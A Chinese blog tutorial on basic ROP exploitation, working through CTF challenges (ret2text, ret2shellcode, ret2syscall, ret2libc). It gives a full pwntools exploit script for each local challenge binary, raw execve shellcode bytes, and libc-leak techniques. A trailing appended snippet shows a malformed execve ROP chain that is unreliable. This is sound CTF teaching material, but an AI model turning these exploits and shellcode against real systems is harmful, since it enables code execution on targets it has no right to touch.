PWN基础之构造ROP链(基本ROP)

ROP

​随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP
(Return Oriented Programming),其主要思想是在**栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets)
来改变某些寄存器或者变量的值,从而控制程序的执行流程。**所谓 gadgets 就是以 ret
结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

​ 之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

下面介绍几种基本的ROP链的构造思路

ret2text

​ ret2text 即控制程序执行程序本身已有的的代码
(.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是
gadgets),这就是我们所要说的 ROP。

​ 这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

例子:攻防世界-pwnstack

第一步还是checksec查看保护机制

![在这里插入图片描述](https://img-
blog.csdnimg.cn/93a26815b0414eeb8a65fcaf00a383dc.png#pic_center)

64位程序,只开启了NX保护(栈不可执行),拖入IDA查看代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  initsetbuf(*(_QWORD *)&argc, argv, envp);
  puts("this is pwn1,can you do that??");
  vuln();
  return 0;
}



__int64 vuln()
{
  char buf; // [rsp+0h] [rbp-A0h]

  memset(&buf, 0, 0xA0uLL);
  read(0, &buf, 0xB1uLL);
  return 0LL;
}

在vuln()函数中buf只有0xA0字节的长度,但是read()函数允许输入0xB1字节的数据导致栈溢出漏洞。[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-
ARa0mKb4-1675325672844)(PWNrop/1673631303820.png)] 在这里发现了一个后门函数。

int backdoor()
{
  return system("/bin/sh");
}

这个后门函数调用了system(“/bin/sh”)函数,所以我们的大致思路就是利用栈溢出漏洞把返回地址修改成backdoor()函数来get shell

exploit
from pwn import *

context.log_level="debug"

p = process("./pwn2")

payload = b"a"*0xa0+b"b"*0x8+p64(0x400766)
#gdb.attach(p)
p.recvuntil("this is pwn1,can you do that??\n")
p.sendline(payload)
p.interactive()
分析

这里需要注意一个问题![在这里插入图片描述](https://img-
blog.csdnimg.cn/6487a9d1ffec40de8a1be2a09210b581.png#pic_center)


从IDA中可以看到backdoor()函数的起始地址是0x400762,而我们的exploit中修改的返回地址并不是0x400762而是0x400766。

​ 原因如下:我们通过GDB调试的过程中可以看到正常的程序在返回时他的返回地址是这样的

![在这里插入图片描述](https://img-
blog.csdnimg.cn/8d3257eca86b48d6bfd9441921a586ef.png#pic_center)

在vuln()函数即将结束返回时栈中保存返回地址的位置的内容是0x40079a

![在这里插入图片描述](https://img-
blog.csdnimg.cn/23820f41e79843199b5940ffe9deba3f.png#pic_center)

即main函数在结束对函数vuln()的调用时下一步要执行的指令如果我们把返回地址修改成0x400762程序在接下来执行的指令变成了![在这里插入图片描述](https://img-
blog.csdnimg.cn/33ecd8e0f65348858262300673a25697.png#pic_center)
和上图对比一下不难发现问题,在main函数中进行了两次**push rbp;mov
rbp,rsp;**这会导致栈的结构遭到破坏所以返回地址要修改成0x400766。

注意:
我曾经一直以为如果返回地址修改成0x400762的话和main调用backdoor()函数没什么区别,显然这是个非常错误的想法。因为程序正常调用一个函数,比如main函数调用vuln()函数时是通过call指令来调用的,call指令的作用是:
①将当前的IP或CS和IP压入栈中;②转移。
而想通过修改返回地址来使程序去调用backdoor()函数明显缺少了call指令的这一步骤,这样一来栈的结构就发生了异常程序会报错无法得到我们想要的效果。

ret2shellcode

​ ret2shellcode,即控制程序执行 shellcode 代码。shellcode
指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。 一般来说,shellcode
需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码

​ 在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

例子:CTF-Wiki ret2shellcode

​ 使用checksec查看保护机制,我这个版本的checksec无法查看程序是32位还是64位,所以再使用file命令查看一下发现是32位。

![在这里插入图片描述](https://img-
blog.csdnimg.cn/bf33eca7cbce470ebbac6418a15375d4.png#pic_center)

拖入IDA反汇编一下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets((char *)&v4);                       //这里v4是int类型,(char *)&v4是指把v4强制转换
  strncpy(buf2, (const char *)&v4, 0x64u); //成char类型指针
  printf("bye bye ~");                     
  return 0;
}

第八行gets()函数没有对输入长度进行限制存在栈溢出漏洞,第九行代码把输入的数据又复制给了buf2
![在这里插入图片描述](https://img-
blog.csdnimg.cn/2b31b6949c8b485c87d4663d975a413c.png#pic_center)

buf2是在bss段上的一段内存地址为0x804a080。由于程序中没有可以利用的后门函数且存在一个已知地址的内存区域,可以考虑在buf2中写入shellcode将程序流程劫持到这里执行我们布置的shellcode,但是还有一个重要的条件就是这段内存必须有可执行权限。通过gdb的vmmap指令可以查看程序各个段的权限

![在这里插入图片描述](https://img-
blog.csdnimg.cn/77f3f0595b6544ad84d3b68f33e53795.png#pic_center)


可以看到buf2所在的区域有rwx权限,所以这个题的大致思路就是向v4写入shellcode同时将数据溢出把返回地址修改成0x804a080,同时程序本身把我们输入的数据复制到了0x804a080即buf2的位置。这样程序就可以被我们劫持到这个位置来执行shellcode。

exploit
from pwn import *

# context.log_level="debug"

p = process("./ret2shellcode")

shellcode = asm(shellcraft.sh())
buf2 = 0x804a080

payload = shellcode.ljust(112,b'a') + p32(buf2)

log.info(shellcraft.sh())
p.recvuntil("No system for you this time !!!\n")
p.sendline(payload)
p.interactive()

注意:这道题我在Ubuntu16的环境上做的,如果是其他环境可能0x804a080处可能没有可执行权限

例二:ctf-challenge sniperoj-pwn100-shellcode-x86-64

checksec查看保护机制

![在这里插入图片描述](https://img-
blog.csdnimg.cn/b873e54cb50b48dab7bfda8a12caf790.png#pic_center)

64位程序没有NX保护但开启了PIE,开启了PIE我们只在IDA中看到函数的偏移地址没法看到具体的地址

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf; // [rsp+0h] [rbp-10h]
  __int64 v5; // [rsp+8h] [rbp-8h]

  buf = 0LL;
  v5 = 0LL;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  puts("Welcome to Sniperoj!");
  printf("Do your kown what is it : [%p] ?\n", &buf, 0LL, 0LL);
  puts("Now give me your answer : ");
  read(0, &buf, 0x40uLL);
  return 0;
}

程序中的printf()函数输出了buf的地址所以可以绕过PIE保护,read()允许输入的数据过长导致栈溢出

![在这里插入图片描述](https://img-
blog.csdnimg.cn/f9536f1e3ef0451586f7fcd07414a8f0.png#pic_center)

栈上有rwx权限而我们的局部变量buf就是在栈上的,所以这个题依然可以使用ret2shellcode

exploit
from pwn import *

context.log_level="debug"

p = process("./shellcode")

p.recvuntil("Do your kown what is it : [")
buf = p.recvuntil("]",drop=True)
buf = int(buf,16)
print("buf = ",buf)

# payload1 = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" + b'\x00' + p64(buf)
# payload2 = b'a'*24 + p64(buf + 32) + b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

payload = b'a'*24 + p64(buf + 32) + b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"

p.recvuntil("Now give me your answer : \n")
raw_input("PAUSE")
p.sendline(payload)
p.interactive()

注意:这个题有几个细节需要处理。

  1. 如何接收程序输出的地址:第七行的recvuntil()函数把地址前面的内容全部接收,第八行的作用是继续接收剩下的内容一直到 “ ] ” 这个位置并且接收后去掉 “ ] ” ,drop这个参数如果不写默认是不去掉第一个参数的内容的,这样就完整的接收了程序输出的地址(64位程序地址长度为8 byte)
  2. 这个题中read()函数允许输入0x40字节的长度,我们覆盖到ebp需要0x10+0x8=0x18 即24字节的长度,这样我们就只剩下0x40-0x18=0x28即40字节的长度可以输入,但是我们用shellcraft.sh()生成的shellcode有44字节的长度,所以我们需要一个相对较短的shellcode,可以在Exploit Database Shellcodes (exploit-db.com)查找合适的shellcode
  3. exploit脚本中的payload1和payload2的shellcode是能拿到shell的但是同样的shellcode,payload1的写法是错误的,事实上payload1的写法是ret2shellcode中最基本的构造格式但在这个题目中,shellcode的长度为23字节,我们需要充的长度只有24字节,这回导致ret指令执行后shellcode距离rsp过近。如下图:在这里插入图片描述
    左边是shellcode的汇编代码,右边是ret执行过后rsp所在的位置,shellcode中有三个push指令,当三次push之后shellcode的下半部分会被其他数据覆盖掉导致无法继续往下执行,所以这道题中的payload要按照payload2中的格式构造。payload2中还要重新计算shellcode的地址根据构造的顺序可以看出shellcode的首地址应该是buf+0x10+0x8+0x8=0x20即buf+32

我使用两种不同的shellcode长度有所差异,以后有用到shellcode的地方可以尝试这两种

shellcode1 = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"		# 23 byte
shellcode2 = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"		# 22 byte

ret2syscall

ret2syscall,即控制程序执行系统调用,获取 shell。

系统调用

操作系统的主要功能是为管理硬件资源和为应用程序开发人员提供良好的环境来使应用程序具有更好的兼容性,由于系统的有限资源可能被多个不同的应用程序访问,因此,如果不加以保护,那么用程序难免产生冲突。所以,现代操作系统都将可能产生冲突的系统资源给保护起来,阻止应用程序直接访问。
这些系统资源包括文件、网络、IO、各种设备等 。为了达到这个目的,内核提供一系列具备预定功能的多内核函数,通过一组称为系统调用(system
call)的接口呈现给用户。系统调用把应用程序的请求传给内核,调用相应的内核函数完成所需的处理,将处理结果返回给应用程序。这些接口往往通过 中断
来实现。

系统调用的原理

现代操作系统通常让代码运行在两种不同特权的模式下 用户态 (目态)和 内核态
(管态)以限制他们的权力。系统调用要操作一些有限的资源,无疑是运行在内核态的。那么用户态程序如何运行内核态的代码呢?操作系统一般是通过 中断
来从用户态切换到内核态。

中断

中断是指一个硬件或软件发出的请求(电信号),要求CPU暂停当前的工作转手去处理更加重要的事情。

中断一般有两个属性,中断号和中断处理程序(ISR,Interrupt Service
Routine)。在内核中,有一个数组称为中断向量表,包含了中断号及其对应中断处理程序的指针。中断到来时,CPU暂停当前执行的代码,根据中断的中断号,在中断向量表中找到对应的中断处理程序,并调用它。中断处理程序执行完成之后,CPU会继续执行之前的代码。

中断有两种类型:一种称为硬件中断,这种中断来自于硬件的异常或事件发生;另一种称为软件中断,软件中断通常是一条指令(i386下是int),带有一个参数记录中断号,使用这条指令用户可以手动触发某个中断并执行中断处理程序。

中断向量

Intel x86 系列微机共支持256 种向量中断,为使处理器较容易地识别每种中断源,将它们从0~255 编号,即赋予一个中断类型码 n,Intel
把这个8 位的无符号整数叫做一个向量,因此,也叫中断向量。

所有256 种中断可分为两大类:异常和中断。

异常又分为故障(Fault)、陷阱(Trap)和夭折(Abort),它们的共同特点是既不使用中断控制器,又不能被屏蔽。

中断又分为外部可屏蔽中断(INTR)和外部非屏蔽中断(NMI),所有I/O
设备产生的中断请求(IRQ)均引起屏蔽中断,而紧急的事件(如硬件故障)引起的故障产生非屏蔽中断。

非屏蔽中断的向量和异常的向量是固定的,而屏蔽中断的向量可以通过对中断控制器的编程来改变。Linux 对256 个向量的分配如下。

• 从0~31 的向量对应于异常和非屏蔽中断。

• 从32~47 的向量(即由I/O 设备引起的中断)分配给屏蔽中断。

• 剩余的从48~255 的向量用来标识软中断。

Linux 只用了其中的一个(即128 或0x80向量)用来实现系统调用

当用户态下的进程执行一条 int 0x80 汇编指令时,CPU 就切换到内核态,并开始执行system_call() 内核函数。

由于中断号是有限的,操作系统不舍得每一个系统调用对应一个中断号,而更倾向于用一个或少数几个中断号来对应所有的系统调用。每个系统调用对应一份系统调用号,这个系统调用号在执行int
0x80指令前会放置在某个固定的寄存器里( 在Linux中eax寄存器是负责传递系统调用号的
),对应的中断代码会取得这个系统调用号,并且调用正确的函数。

系统调用的过程

操作系统实现系统调用的基本过程是:

  1. 应用程序调用库函数(API);

  2. API 将系统调用号存入 eax,然后通过中断调用使系统进入内核态;

  3. 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);

  4. 系统调用完成相应功能,将返回值存入 eax,返回到中断处理函数;

  5. 中断处理函数返回到 API 中;

  6. API 将 eax 返回给应用程序。

应用程序调用系统调用的过程是:

  1. 把系统调用的编号存入 eax;
  2. 把函数参数存入其它通用寄存器( 对于参数传递,Linux也是通过寄存器完成的。Linux最多允许向系统调用传递6个参数,分别依次由ebx,ecx,edx,esi,edi和ebp这个6个寄存器完成 );
  3. 触发 0x80 号中断(int 0x80)。

![在这里插入图片描述](https://img-
blog.csdnimg.cn/516e32434969413b990f53f8651c2a3f.png#pic_center)

例子:CTF-Wiki bamboofox-ret2syscall

第一步checksec查看保护机制

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-
vP5S8QBO-1675325672854)(PWNrop/1673886012640.png)]

32位程序拖入IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

这个程序里只有一个栈溢出漏洞,没有后门函数没有system()函数的调用,而且开启了NX保护且程序中也没有像上一题一样存在一个已知地址拥有rwx权限的内存区域没有办法使用ret2shelcode的办法来get
shell,这个时候我们可以考虑 ret2syscall的办法触发系统调用。而想要触发系统调用我们就要控制
eax,ebx,ecx,edx,esi,edi,ebp 这几个寄存器。这里如果我们想get
shell就要用到**execve()**这个系统调用,系统调用号为11(0xb)。**execve()
系统调用的作用是运行另外一个指定的程序。**它会把新程序加载到当前进程的内存空间内,当前的进程会被丢弃,它的堆、栈和所有的段数据都会被新进程相应的部分代替,然后会从新程序的初始化代码和
main 函数开始运行。同时,进程的 ID 将保持不变。execve() 系统调用通常与 fork()
系统调用配合使用。从一个进程中启动另一个程序时,通常是先 fork() 一个子进程,然后在子进程中使用 execve() 变身为运行指定程序的进程。
例如,当用户在 Shell 下输入一条命令启动指定程序时,Shell 就是先 fork() 了自身进程,然后在子进程中使用 execve()
来运行指定的程序。

execve()的函数原型是

int execve(const char *filename, char *const argv[], char *const envp[]);

后面两个参数用不到我们可以置为0,第一参数我们要传入/bin/sh来get
shell。而要想控制寄存器和查找字符串可以使用ROPgadget这个命令来在程序中寻找控制我们想要的寄存器的汇编指令。

寻找eax

![在这里插入图片描述](https://img-
blog.csdnimg.cn/fe9c72899528429d99ee253fbc4b458a.png#pic_center)

选择第二个0x80bb196

寻找ebx

![在这里插入图片描述](https://img-
blog.csdnimg.cn/001f1812d2c4441b9e6bb7a4e6af1e94.png#pic_center)

选择0x806eb90,这样一段指令就能让我们控制ebx,ecx,edx三个寄存器

还需要/bin/sh字符串(有的时候只用sh字符串也行)

![在这里插入图片描述](https://img-
blog.csdnimg.cn/88c4673a499a498d8475ae47ea6fc935.png#pic_center)

最后还有最最重要的int 0x80指令触发0x80号中断

![在这里插入图片描述](https://img-
blog.csdnimg.cn/2c5a9d983ea7489dbfd95b58dd6a187a.png#pic_center)

接下来的大致思路就是通过栈溢出漏洞改写返回地址只不过这次我们并不返回到函数地址上而是返回我们控制寄存器的指令的地址上再触发中断之前我们先要在eax中保存系统调用号(由于我们需要execve()系统调用所以我们需要存入0xb)然后给系统调用传入参数,第一参数在ebx(0x80be408:/bin/sh),第二个参数在ecx(0),第三个参数在edx(0)。如果需要更多则以此类推。最后执行int
0x80来触发中断。

exploit
from pwn import *

context.log_level="debug"

p = process("./rop")

pop_eax = 0x080bb196
pop_ebx_ecx_edx = 0x0806eb90 
bin_sh = 0x80BE408
int_0x80 = 0x08049421

payload = b'a'*112 + p32(pop_eax) + p32(0xb) + p32(pop_ebx_ecx_edx) + p32(0) + p32(0) + p32(bin_sh) + p32(int_0x80)

p.recvuntil("What do you plan to do?\n")
p.sendline(payload)
p.interactive()                  

​ ![在这里插入图片描述](https://img-
blog.csdnimg.cn/3cfdb2443d024f248aeb368786b4e0cd.png#pic_center)
这里要注意这三个寄存器的顺序,粗(jiu)心(shi)的(wo)师(ben)傅(ren)可能搞错顺序导致出不来结果。

分析

我们用GDB来看一下payload发送过去之后栈中的情况以及程序的执行过程

![在这里插入图片描述](https://img-
blog.csdnimg.cn/70268b220e904f65901d5ecde4fc153a.png#pic_center)

此时gets()函数已经返回到它执行完毕后该返回的位置了
由于我们写入的变量v4是在main函数中声明的,所以我们修改的其实是main函数的返回地址。红框里的这几个指令就是我们布置好用来控制寄存器的指令而且他的顺序也和我们预想的一样。查看一下此时的栈

![在这里插入图片描述](https://img-
blog.csdnimg.cn/9df82e9e79b94e878a30c36e53fa7c2d.png#pic_center)

ebp指向的地址是0xff8b6e08,ebp再往高处走紧接着的就是保存返回地址的位置即0xff8b6e0c。上图中可以看到这个位置保存的就是pop
eax的地址。从这里开始就是我们payload中的关键部分p32(pop_eax) + p32(0xb) + p32(pop_ebx_ecx_edx) +
p32(0) + p32(0) + p32(bin_sh) + p32(int_0x80)继续往下执行

![在这里插入图片描述](https://img-
blog.csdnimg.cn/f5fc2ba511574ad58ae3faaf89491126.png#pic_center)

leave;ret;(这两条指令的作用上篇文章有提到)执行完毕以后rip指向了pop
eax;esp则指向0xb的位置这个值是我们想要传递给eax的系统调用号指向玩pop eax后下一条ret指令相当于pop
rip这样rip又指向了0x6eb90这个位置即控制edx,ecx,ebx三个寄存器的三条指令还有ret。

![在这里插入图片描述](https://img-
blog.csdnimg.cn/b60b060d84f14f96b31a8f18ceba5183.png#pic_center)

可以看到三次pop指令都把我们想要传递的参数传到了我们想要的寄存器中,所以payload中的p32(pop_eax) + p32(0xb) +
p32(pop_ebx_ecx_edx) + p32(0) + p32(0) + p32(bin_sh) +
p32(int_0x80)这一部分的顺序就是按照数据在栈上的位置以及指令对栈的操作而设计的。

![在这里插入图片描述](https://img-
blog.csdnimg.cn/7a9a9a4edf76413aadc54e9fcc49e4fb.png#pic_center)

此时esp指向了我们在栈中写入的int 0x80指令的地址,下一步执行ret后rip指向int 0x80程序触发中断

![在这里插入图片描述](https://img-
blog.csdnimg.cn/ad6f41fbfd4e41e09832b563c6bec330.png#pic_center)

ret2libc

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got
表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

延迟绑定机制(Lazy Binding)

关于延迟绑定机制推荐一个[师傅写的文章](Pwn基础:PLT&GOT表以及延迟绑定机制
(qq.com)
)。

师傅的B站视频

例一:CTF-Wiki ret2libc1

checksec查看保护机制

![在这里插入图片描述](https://img-
blog.csdnimg.cn/d0554fd990ca45aca81f8a36412b8c1b.png#pic_center)

32位程序只开了NX保护,拖入IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(&s);
  return 0;
}

gets()函数这里没有对输入进行限制存在栈溢出漏洞,但是在看IDA中还能看到plt中有system()函数,这样我们可以让程序返回到system@plt这里如果你仔细看了前面介绍延迟绑定机制的文章你就会很容易明白这样操作的原理。但是我们想要get
shell还需要给system()一个/bin/sh的参数,可以在IDA中使用shift+F12来查找程序中的字符串,或者使用ROPgadget命令。

![在这里插入图片描述](https://img-
blog.csdnimg.cn/e13f15489dbd45558991ea3ad09ff6d6.png#pic_center)

![在这里插入图片描述](https://img-
blog.csdnimg.cn/8a422a491e7b4d698291d5c17790fbaf.png#pic_center)

exploit
from pwn import *

context.log_level="debug"

p = process("./ret2libc1")

bin_sh = 0x8048720
system_plt = 0x8048460

payload = b'a'*108 + b'bbbb' + p32(system_plt) +b'bbbb' + p32(bin_sh)

# raw_input("PAUSE")
p.recvuntil("RET2LIBC >_<\n")
p.sendline(payload)
p.interactive()
例二:CTF-Wiki ret2libc2

checksec查看保护机制

![在这里插入图片描述](https://img-
blog.csdnimg.cn/551869c3b3a54c06a8d25bdf54e01df8.png#pic_center)

同样32位程序只开了NX保护,拖入IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("Something surprise here, but I don't think it will work.");
  printf("What do you think ?");
  gets(&s);
  return 0;
}

同样也是在gets()函数触发栈溢出,我们也能在.plt中找到system()但是这次并不能找到/bin/sh这个字符串来作为参数get
shell[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-
BmphrN9e-1675325672872)(PWNrop/1675235686737.png)]

![在这里插入图片描述](https://img-
blog.csdnimg.cn/e87c969de13140ffba7408a54b437a09.png#pic_center)

其实这个时候我们可以尝试使用ROPgadget只查找“sh”,有的时候sh字符串作为参数传入system()也能get shell

![在这里插入图片描述](https://img-
blog.csdnimg.cn/4b6264a213b04918813d96d127f62ab0.png#pic_center)

但是这个题不行,它会报这样的错误:

![在这里插入图片描述](https://img-
blog.csdnimg.cn/e7718262cc314e5782c55352ad859228.png#pic_center)

既然没有/bin/sh字符串,那么我们就自己写进去一个

![在这里插入图片描述](https://img-
blog.csdnimg.cn/1e81704210814607afe2215d11be31b1.png#pic_center)

![在这里插入图片描述](https://img-
blog.csdnimg.cn/a3b7360454c14d46876ae6e252fc74e2.png#pic_center)

这个程序中有这样一个已知地址的字符型数组且有rw权限,刚好可以用来存我们输入的字符串

这里在写exploit的时候有两个思路

exploit1
from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080

payload = b'a'*112+ p32(gets_plt)+ p32(pop_ebx)+ p32(buf2)+ p32(system_plt)+ b"bbbb"+ p32(buf2)

sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

这个利用方法是和CTF-Wiki上的思路一致的调用gets()函数往buf2上写入/bin/sh但是写入的buf2的地址也会留在栈上所以这里用到了一个pop
ebx先把栈上的buf2的地址出栈给一个空闲的寄存器ebx使得ret指令能把system_plt的地址正确的pop 给eip(ret指令相当于pop
eip)这就是栈平衡问题。

exploit2
from pwn import *

context(os="linux",arch="i386",log_level="debug")

p = process("./ret2libc2")

buf2 = 0x804a080
gets_plt = 0x8048460
system_plt = 0x8048490
_main_add = 0x8048648

payload = b'a'*112 + p32(gets_plt) + p32(_main_add) + p32(buf2)
payload1 = b'a'*104 + p32(system_plt) + b'bbbb' + p32(buf2)

raw_input(">>>")

p.recvuntil("What do you think ?")
p.sendline(payload)
p.sendline("/bin/sh")
p.recvuntil("What do you think ?")
p.sendline(payload1)
p.interactive()

这个思路是先调用gets()函数往buf2中输入/bin/sh但是我们把gets函数的返回地址写成了main这样程序再一次从main函数执行,触发第二次栈溢出,第二次栈溢出我们再把返回地址改成system_plt这样来get
shell。但是要注意第二次payload的长度

例三:CTF-Wiki ret2libc3

checksec查看保护机制

![在这里插入图片描述](https://img-
blog.csdnimg.cn/169c40177552456f90d0e8ff39f529a3.png#pic_center)

同样32位程序只开了NX保护,拖入IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets(&s);
  return 0;
}

同样也是在gets()函数触发栈溢出,但是这一次没有了system.plt,也没有/bin/sh字符串。那么我们如何得到 system
函数的地址呢?这里就主要利用了两个知识点

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
  • https://github.com/niklasb/libc-database

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。 当然,由于 libc
的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc
的利用工具,具体细节请参考 readme

或者通过在线查询网站libc database search (blukat.me)

此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)

基地址=真实地址-偏移地址

exploit
from pwn import *                                                   
from LibcSearcher import *                                          
                                                                    
context(os="linux",arch="i386",log_level="debug")                   
                                                                    
io = process("./ret2libc3")                                         
                                                                    
elf = ELF("./ret2libc3")                                            
puts_plt = elf.plt["puts"]                                          
puts_got = elf.got["puts"]                                          
main_addr = elf.symbols["main"]                                     
                                                                    
payload = b'a'*112 + p32(puts_plt) + p32(main_addr) + p32(puts_got) 
                                                                    
io.recvuntil("Can you find it !?")                                  
io.sendline(payload)                                                
                                                                    
puts_addr = u32(io.recv(4))                                         
print("puts_addr = ",hex(puts_addr))                                
                                                                    
libc = LibcSearcher("puts",puts_addr)                                
libcbase = puts_addr - libc.dump("puts")                             
system_addr = libcbase + libc.dump("system")                         
binsh_addr = libcbase + libc.dump("str_bin_sh")                      
                                                                    
payload = b'a'*112 + p32(system_addr) + b'bbbb' + p32(binsh_addr)   
                                                                    
io.sendline(payload)                                                
io.interactive()                                                    
细节问题

接收泄露的函数地址时可采用以下方法接收,因为函数在libc中的地址大多以7f开头

addr = u32(io.recvuntil('\x7f')[-4:])
addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
#或者
addr = u64(io.recv(6).ljust(8,b'\x00'))

64位程序下,在接收利用格式化字符串泄露canary的值时可采用一下方法

p.sendline("%Index$p") #泄漏cannary Index为canary相对于格式化字符串的参数位置
p.recvuntil("0x")
canary = int(p.recv(16),16) #接收16个字节

如果是利用垃圾数据覆盖掉canary末尾的\x00截断符则注意在接受时要把末尾覆盖掉的\x00补回去

canary = u64(io.recv(7).rjust(8,b'\x00'))

需要注意的是,32 位和 64 位程序有以下简单的区别:

  • x86
    • 函数参数函数返回地址 的上方
  • x64
    • System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器 中,如果还有更多的参数的话才会保存在栈上。
    • 内存地址不能大于 0x00007FFFFFFFFFFF, 6 个字节长度 ,否则会抛出异常。

更多内容欢迎访问我的个人博客

学习计划安排


我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~

这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!

如果你对网络安全入门感兴趣,那么你需要的话可以

点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

  • 22
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ROP(Return-oriented Programming)是一种攻击技术,它利用程序的已有代码(即gadget)来构造攻击。在构造syscall调用execve的ROP时,我们需要找到一些适合我们需要的gadget,以及一个能够满足我们需求的内存区域来存储我们的ROP。 以下是一个构造syscall调用execve的ROP的示例: ``` ; pop rax ; ret gadget pop_rax_ret: 0x000000000040089c ; pop rdi ; ret gadget pop_rdi_ret: 0x000000000040089e ; pop rsi ; ret gadget pop_rsi_ret: 0x00000000004008a0 ; pop rdx ; ret gadget pop_rdx_ret: 0x00000000004008a2 ; syscall gadget syscall: 0x00000000004005f6 ; address of "/bin/sh" string bin_sh: db '/bin/sh',0 rop: ; set rax to 0x3b (execve syscall number) pop rax ; ret 0x000000000040089c 0x3b ; set rdi to the address of "/bin/sh" string pop rdi ; ret 0x000000000040089e bin_sh ; set rsi to 0 pop rsi ; ret 0x00000000004008a0 0x0 ; set rdx to 0 pop rdx ; ret 0x00000000004008a2 0x0 ; syscall syscall ``` 在这个例子中,我们使用了以下gadgets: - pop rax ; ret:弹出栈顶元素到rax寄存器中; - pop rdi ; ret:弹出栈顶元素到rdi寄存器中; - pop rsi ; ret:弹出栈顶元素到rsi寄存器中; - pop rdx ; ret:弹出栈顶元素到rdx寄存器中; - syscall:执行系统调用。 